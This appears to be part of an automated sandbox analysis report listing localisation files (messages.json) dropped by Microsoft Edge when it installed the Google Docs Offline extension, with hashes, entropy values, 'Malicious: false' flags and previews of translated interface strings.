Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
